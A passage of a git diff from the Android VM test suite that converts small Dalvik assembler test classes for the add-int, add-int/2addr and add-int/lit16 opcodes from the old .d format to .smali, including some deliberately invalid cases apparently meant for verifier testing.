+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.d
deleted file mode 100644
index a92add0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_5.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-       add-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.smali
new file mode 100644
index 0000000..c6ef531
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_5.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       add-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.d
deleted file mode 100644
index 3dac6df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_6.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.smali
new file mode 100644
index 0000000..df371ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_6.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.d
deleted file mode 100644
index 980379c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_1.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.smali
new file mode 100644
index 0000000..59fb008
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.d
deleted file mode 100644
index bc0c3ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_2.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       add-int/2addr v2, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.smali
new file mode 100644
index 0000000..6e12424
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int/2addr v2, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.d
deleted file mode 100644
index c47322e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_3.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 33231415
-       add-int/2addr v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.smali
new file mode 100644
index 0000000..26d6e94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int/2addr v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.d
deleted file mode 100644
index 7b4adf8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_4.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/2addr v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.smali
new file mode 100644
index 0000000..dc2277e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/2addr v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.d
deleted file mode 100644
index 042e671..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_5.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-       add-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.smali
new file mode 100644
index 0000000..94914c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       add-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.d
deleted file mode 100644
index 50a14a9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_6.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.smali
new file mode 100644
index 0000000..a208ba7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.d
deleted file mode 100644
index b79b0f6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_1.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 8
-       add-int/lit16 v0, v1, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.smali
new file mode 100644
index 0000000..dc7d79f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 8
+       add-int/lit16 v0, v1, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.d
deleted file mode 100644
index c8b348a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_10.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483648
-       add-int/lit16 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.smali
new file mode 100644
index 0000000..f264919
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483648
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.d
deleted file mode 100644
index 26fe8ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_11.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit16 v0, v1, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.smali
new file mode 100644
index 0000000..229b4a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_11.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.d
deleted file mode 100644
index 34af2a7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_12.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -32768
-       add-int/lit16 v0, v1, -32768
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.smali
new file mode 100644
index 0000000..3c72454
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_12.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12;
